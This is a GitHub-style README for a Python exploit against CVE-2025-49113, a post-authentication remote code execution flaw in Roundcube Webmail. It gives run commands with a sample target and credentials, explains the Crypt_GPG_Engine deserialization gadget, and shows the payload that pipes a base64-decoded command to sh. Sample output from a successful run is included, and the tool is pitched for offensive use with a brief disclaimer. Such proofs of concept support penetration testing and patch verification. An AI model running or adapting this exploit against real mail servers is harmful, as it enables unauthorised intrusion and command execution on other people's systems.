00xcanelo/cve-2025-49113💥 Python Exploit for CVE-2025-49113 | Roundcube Webmail RCE via PHP Object Injection
CVE ID: CVE-2025-49113
Exploit Type: Remote Code Execution (via PHP Object Injection)
Application: Roundcube Webmail ≤ 1.5.9 and ≤ 1.6.10
Exploit Language: Python
Author: 00xCanelo
Status: Tested and Working on Vulnerable Roundcube Installations
This exploit leverages a vulnerability in how Roundcube Webmail handles uploaded image filenames which are unserialized as PHP objects. By crafting a malicious payload that triggers a Crypt_GPG_Engine deserialization chain, remote command execution can be achieved post-authentication.
This Python PoC mimics the attack chain used by the public PHP exploit, but with cleaner logic, optional logging, and ease of usage in offensive tooling setups.
pip install requestspython3 CVE-2025-49113.py <target_url> <username> <password> <command>
python3 CVE-2025-49113.py https://mail.target.htb/ [email protected] 'P@ssw0rd123' 'id'
The PHP class Crypt_GPG_Engine allows setting a _gpgconf field, which is then passed to shell execution.
Our payload crafts:
echo "<base64-encoded-cmd>" | base64 -d | sh
in _gpgconf, which leads to RCE upon deserialization.
[*] Starting CVE-2025-49113 exploit...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10606
[+] Target is vulnerable!
[*] Logging in...
[+] Login successful.
[*] Uploading serialized gadget as image filename...
[+] Gadget uploaded successfully!
.
├── CVE-2025-49113.py # Python PoC script
└── README.md # This documentation
This code is for educational and authorized security testing purposes only. Any misuse of this tool is strictly prohibited. The author is not responsible for any damages caused.